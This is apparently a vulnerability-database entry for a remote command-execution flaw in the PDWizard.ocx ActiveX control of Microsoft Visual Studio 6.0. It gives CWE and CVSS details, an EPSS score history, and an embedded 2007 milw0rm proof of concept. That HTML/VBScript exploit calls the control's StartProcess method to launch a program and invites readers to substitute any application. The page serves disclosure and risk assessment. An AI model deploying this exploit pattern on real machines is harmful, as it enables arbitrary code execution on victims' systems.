CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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A certain ActiveX control in PDWizard.ocx 6.0.0.9782 and earlier in Microsoft Visual Studio 6.0 exposes dangerous (1) StartProcess, (2) SyncShell, (3) SaveAs, (4) CABDefaultURL, (5) CABFileName, and (6) CABRunFile methods, which allows remote attackers to execute arbitrary programs and have other impacts, as demonstrated using absolute pathnames in arguments to StartProcess and SyncShell.
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
6.8
AV:N/AC:M/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
26.56%
–
–
2022-04-03
–
–
26.56%
–
–
2023-03-12
–
–
–
95.65%
–
2023-03-26
–
–
–
95.81%
–
2023-04-30
–
–
–
95.75%
–
2023-07-16
–
–
–
95.29%
–
2024-06-02
–
–
–
94.66%
–
2024-06-16
–
–
–
91.77%
–
2024-07-21
–
–
–
92.26%
–
2024-10-06
–
–
–
90.26%
–
2024-11-10
–
–
–
90.57%
–
2024-12-22
–
–
–
85.92%
–
2025-02-09
–
–
–
86.22%
–
2025-01-19
–
–
–
85.92%
–
2025-02-16
–
–
–
86.22%
–
2025-03-18
–
–
–
–
57.93%
2025-03-18
–
–
–
–
57.93,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">------------------------------------------------------------------------------------------------------
<b>Microsoft Visual Studio 6.0 PDWizard (PDWizard.ocx <= 6.0.0.9782) Remote Arbitrary Command Execution</b>
url: http://www.microsoft.com
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
<b><font color='red'>greetz to: Wiz001 (be safe brotha... and see soon :D)</font></b>
<b>Description:
This ocx contains a lot of extreme dangerous methods. Theese two are very interesting, they are:
"StartProcess()" and "SyncShell()"
Using one of them, you'll be able to run every program you like, simply giving to the method the
right argument.
In this PoC, I use the "StartProcess()" method to execute the calc.exe, but you can do everything
you like.
Anyway, I think you could imagine what impact could have this kind of vulnerability :D
Other dangerous methods of this ocx are:
"SaveAs()"
"CABDefaultURL()"
"CABFileName()"
"CABRunFile()"</b>
------------------------------------------------------------------------------------------------------
<object classid='clsid:0DDF3C0B-E692-11D1-AB06-00AA00BDD685' id='test'></object>
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">
<script language = 'vbscript'>
Sub tryMe()
test.StartProcess "c:\windows\system32\calc.exe", "False" 'you can change with your favourite application ;)
End Sub
</script>
</span></span>
</code></pre>
# milw0rm.com [2007-09-11]